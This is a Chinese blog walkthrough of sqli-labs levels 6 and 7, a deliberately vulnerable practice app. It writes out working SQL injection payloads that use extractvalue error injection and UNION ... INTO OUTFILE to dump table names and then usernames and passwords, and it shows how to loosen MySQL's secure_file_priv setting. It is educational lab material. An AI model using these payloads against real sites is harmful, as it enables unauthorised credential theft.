【sqli靶场】第六关和第七关通关思路

目录

前言

一、sqli靶场第六关

1.1 判断注入类型

1.2 观察报错  

1.3 使用extractvalue函数报错

1.4 爆出数据库中的表名

二、sqli靶场第七关

1.1 判断注入类型

1.2 判断数据表中的字段数

1.3 提示

1.4 构造poc爆库名

1.5 构造poc爆表名

1.6 构造poc爆字段名

1.7 构造poc获取账号和密码


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__✍️原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权⚠️。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

前言

 sqli靶场第1关:filotimo.blog.less1

 sqli靶场第2-3关:filotimo.blog.less2-3

 sqli靶场第4-5关:filotimo.blog.less4-5


一、sqli靶场第六关

1.1 判断注入类型

输入?id=1',正常回显('是英文单引号)。

输入?id=1'',正常回显(''是两个英文单引号)。

输入?id=1",出现如图所示报错("是英文双引号):

输入?id=1"",正常回显(""是两个英文双引号)。

1.2 观察报错  

报错信息为'"1"" LIMIT 0,1' 

判断其为"闭合

输入?id=1'' --+,正常回显。

Less6的正常回显和Less5一样,都没有显示位,我们还是考虑报错注入。

1.3 使用extractvalue函数报错

构造语句:

?id=-1" and extractvalue(1,concat(0x7e,database(),0x7e)) --+

结果如图:

我们能看到数据库名为security。

1.4 爆出数据库中的表名

构造语句:

?id=-1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

结果如图:

我们能看到表名为emails,referers,uagents,users。

点到为止,后面内容跟Less5思路一样,可以看我前面写的博客。

二、sqli靶场第七关

1.1 判断注入类型

输入?id=1' and 1=1 --+,报语法错误。

输入?id=1" and 1=1 --+,正常回显(''是两个英文单引号)。

但输入?id=1" and 1=2 --+,仍然是正常回显,说明不是单纯的引号注入。

这关数据库具体报错没有提示到页面上,先猜猜看吧。

​常用闭合方式有:

?id=1'--+

?id=1"--+

?id=1')--+

?id=1")--+

?id=1'))--+

?id=1"))--+

当输入?id=1')) and 1=1 --+,正常回显。输入?id=1')) and 1=2 --+,报语法错误。说明是'))的闭合方式。

1.2 判断数据表中的字段数

用二分法与order by确定列数为3。

输入?id=1')) order by 3 --+,正常回显。

输入?id=1')) order by 4 --+,报错。

所以数据表中有3个字段。

1.3 提示

正常回显中提示: Use outfile......

在数据库中,outfile是一个命令,用于导出数据到文件。

以下是使用 into outfile 语句的一般语法:

SELECT column1, column2, ...
FROM table
INTO OUTFILE 'file_path'

其中,SELECT 语句是你的查询语句,column1, column2, ... 是需要获取的列名,table 是要查询的表名。而 'file_path' 是你希望将结果导出到的文件的路径。

into outfile() 写入文件,前提是要MySQL数据库开启secure-file-priv写文件权限,也就是secure_file_priv不为NULL。

我们进入MySQL命令窗口,输入show variables lilke '%secure%' ;

我的界面如图:

我用的是phpstudy,然后进入mysql安装目录,我的目录是E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26

进入目录,打开my.ini ,我的文件里面没有secure_file_priv,手动添加secure_file_priv=""

保存后退出,然后重启MySQL
 

再进入MySQL命令窗口,输入show variables lilke '%secure%' ;

这次我的界面如图:

1.4 构造poc爆库名

构造poc:

?id=-1')) union select user(),version(),database() into outfile "C:\\Users\\admin\\Desktop\\database.txt" --+

输入这个poc,它会报语法错误,但不要急,看看你的桌面,你会发现桌面上多了一个名为database.txt的文件。( into outfile 后面的路径分隔符不能是\)

database.txt文件内容:

可以知道数据库的名字为security

1.5 构造poc爆表名

group_concat是一个聚合函数,用于将一组数据按照指定的顺序连接起来,并将结果作为一个字符串返回。它通常用于将多个行中的某个字段进行连接,从而构建出一段文本。

例如,我们有一张表格product,其中包含了id, name和color三个字段,现在我们需要将所有产品的名称连接起来,这时就可以使用group_concat函数:

SELECT GROUP_CONCAT(name) FROM product;

该查询将返回一个包含所有产品名称的逗号分隔字符串。如果想自定义连接符号,可以在 group_concat函数中指定separator参数,例如:

SELECT GROUP_CONCAT(name SEPARATOR ';') FROM product;

该查询将以分号作为连接符号返回所有的产品名称。

构造poc:

?id=-1')) union select user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security" ) into outfile "C:\\Users\\admin\\Desktop\\tables.txt" --+

桌面上会出现tables.txt,文件内容为:

可以知道security库中表名为emails,referers,uagents,users。

1.6 构造poc爆字段名

爆出users表中的字段名:

?id=-1')) union select user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile "C:\\Users\\admin\\Desktop\\column.txt" --+

桌面上会出现column.txt,文件内容为:

可以知道users表中字段名为id,username,password。

1.7 构造poc获取账号和密码

构造poc:

?id=-1')) union select user(),version(),(select group_concat((concat_ws('~',username,password)) separator ';')from security.users )into outfile "C:\\Users\\admin\\Desktop\\password.txt" --+

桌面上会出现password.txt,文件内容为:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/252801.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL 报错 You can‘t specify target table for update in FROM clause解决办法

You can’t specify target table for update in FROM clause 其含义是:不能在同一表中查询的数据作为同一表的更新数 单独执行复合查询是正常的,如下: 但是当执行子查询删除命令时,报如下错误 DELETE FROM abpusers WHERE Id I…

SLAM学习笔记001

当向机器人下达移动到地点B的命令后,机器人不免会问三个颇具哲学性的问题,即“我在哪儿”“我将到何处去”“我该如何去”。slam导航技术涵盖:航天、军事、特种作业、工业生产、智慧交通、消费娱乐等slam导航的经典应用:火星探测车…

vue3父组件调用子组件el-dialog对话框

vue3父组件调用子组件el-dialog对话框 在写项目的时候,经常要使用父子组件通讯,我已经写了很多篇博客来介绍父子组件通讯了,vue中的父子组件通讯方式有差不多10来种,最常用的就那么一两种,这里我介绍其中我认为最基础…

【计算机网络】—— 详解码元,传输速率的计算|网络奇缘系列|计算机网络

🌈个人主页: Aileen_0v0🔥系列专栏: 一见倾心,再见倾城 --- 计算机网络~💫个人格言:"没有罗马,那就自己创造罗马~" 目录 码元 速率和波特 思考1 思考2 思考3 带宽(Bandwidth) 📝总结 码元…

【Vulnhub 靶场】【IA: Keyring (1.0.1)】【中等】【20210730】

1、环境介绍 靶场介绍:https://www.vulnhub.com/entry/ia-keyring-101,718/ 靶场下载:https://download.vulnhub.com/ia/keyring-v1.01.ova 靶场难度:中等 发布日期:2021年07月30日 文件大小:1.1 GB 靶场作者&#xf…

操作系统基础知识

本文用于记录学习W3schools的操作系统教程。 操作系统基础知识 操作系统概括操作系统的8个组件1 流程管理2 I/O设备管理3 文件管理4 网络管理5 内存管理6 磁盘管理(辅助存储管理)7 安全管理8 命令解释系统 操作系统类型 操作系统概括 操作系统: 计算机系统可以分为…

Threejs利用着色器编写动态飞线特效

一、导语 动态飞线特效是可视化数据地图中常见的需求之一,鼠标点击的区块作为终点,从其他区块飞线至点击区块,附带颜色变换或者结合粒子动画 二、分析 利用创建3点来构成贝塞尔曲线,形成线段利用着色器材质来按照线段以及时间…

[C++] 多态(上) -- 抽象类、虚函数、虚函数表

文章目录 1、多态的概念2、多态的定义及实现2.1 多态的构成条件2.2 虚函数2.3 虚函数的重写2.4 虚函数重写的两个例外2.4.1 协变(基类与派生类虚函数返回值类型不同) 2.4.2 析构函数的重写(基类与派生类析在这里插入图片描述2.4.3 选择题测试 2.5 C11 final 和 override2.5.1 f…

web(HTML之表单练习)

使用HTML实现该界面: 要求如下: 用户名为文本框,名称为 UserName,长度为 15,最大字符数为 20。 密码为密码框,名称为 UserPass,长度为 15,最大字符数为 20。 性别为两个单选按钮&a…

Linux 下的PROC虚拟文件夹的介绍

#江南的江 #每日鸡汤:其一半亩方塘一鉴开,天光云影共徘徊。问渠哪得清如许?为有源头活水来 #初心和目标:在网络安全中崭露头角 PROC 一.proc的文件里的文件是对于计算机的基本信息的介绍。 其中数字文件是代表着进程,其余的例如cpuinfo…

人工智能:机器与人类的对决

一、引言 随着科技的飞速发展,人工智能已经逐渐渗透到我们生活的方方面面。从智能手机到自动驾驶汽车,从语音识别到机器翻译,人工智能已经成为我们生活中不可或缺的一部分。然而,随着人工智能的不断演进,人们开始担心…

1848_emacs_org-mode代码块环境

Grey 全部学习内容汇总: https://github.com/greyzhang/g_org 1848_emacs_org-mode代码块环境 这一部分主要是涉及到一些代码的执行、引用以及输出处理等功能。从之前我看的资料来说,更加偏重于可重现研究但不一定是文学式编程的必要部分。 内容来源…

根据星历文件实现卫星的动态运行模拟matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 MATLAB2022a 3.部分核心程序 .................................................................................... % …

5个免费、跨平台的SQLite数据库可视化工具

前言 SQLite是一个轻量级的嵌入式关系型数据库,目前最新的版本是 SQLite3。今天推荐5个实用的SQLite数据库可视化工具(GUI),帮助大家更好的管理SQLite数据库。 什么是SQLite? SQLite是一个轻量级的嵌入式关系型数据库,它以一个…

DevEco Studio 项目鸿蒙(HarmonyOS)多语言

DevEco Studio 项目鸿蒙(HarmonyOS)多语言 一、操作环境 操作系统: Windows 10 专业版 IDE:DevEco Studio 3.1 SDK:HarmonyOS 3.1 二、多语言 新版本IDE可以创建多语言的文件夹,在entry->src->main->resources下,修…

设计模式——访问者模式

引言 访问者模式是一种行为设计模式, 它能将算法与其所作用的对象隔离开来。 问题 假如你的团队开发了一款能够使用巨型图像中地理信息的应用程序。 图像中的每个节点既能代表复杂实体 (例如一座城市), 也能代表更精细的对象 &…

智能电气柜环境监测系统

智能电气柜环境监控系统是一种基于传感器技术和物联网技术的智能化监控系统,用于对电气柜内的环境参数进行实时监测和管理。依托智慧电力运维工具-电易云,通过安装在电气柜内的多个传感器,实时采集电气柜内的温度、湿度、氧气浓度、烟雾等关键…

【Logback技术专题】「入门到精通系列教程」深入探索Logback日志框架的原理分析和开发实战技术指南(上篇)

深入探索Logback日志框架的原理分析和开发实战指南系列 Logback日志框架Logback基本模块logback-corelogback-classiclogback-accessLogback的核心类LoggerAppenderLayoutLayout和Appender filterlogback模块和核心所属关系 Logbackj日志级别日志输出级别日志级别介绍 Logback的…

【LangChain学习之旅】—(2) LangChain系统快速入门

【LangChain学习之旅】—(2) LangChain系统快速入门 LangChain 的基本安装OpenAI APIChat Model 和 Text ModelChat Model,聊天模型Text Model,文本模型 调用 Text 模型第 1 步第 2 步第 3 步第 4 步第 5 步第 6 步 调用 Chat 模型…

Oracle RAC环境下redo log 文件的扩容

环境: 有一个2节点RAC每一个节点2个logfile group每一个group含2个member每一个member的大小为200M 目标:将每一个member的大小有200M扩充到1G。 先来看下redo log的配置: SQL> select * from v$log;GROUP# THREAD# SEQUENCE# …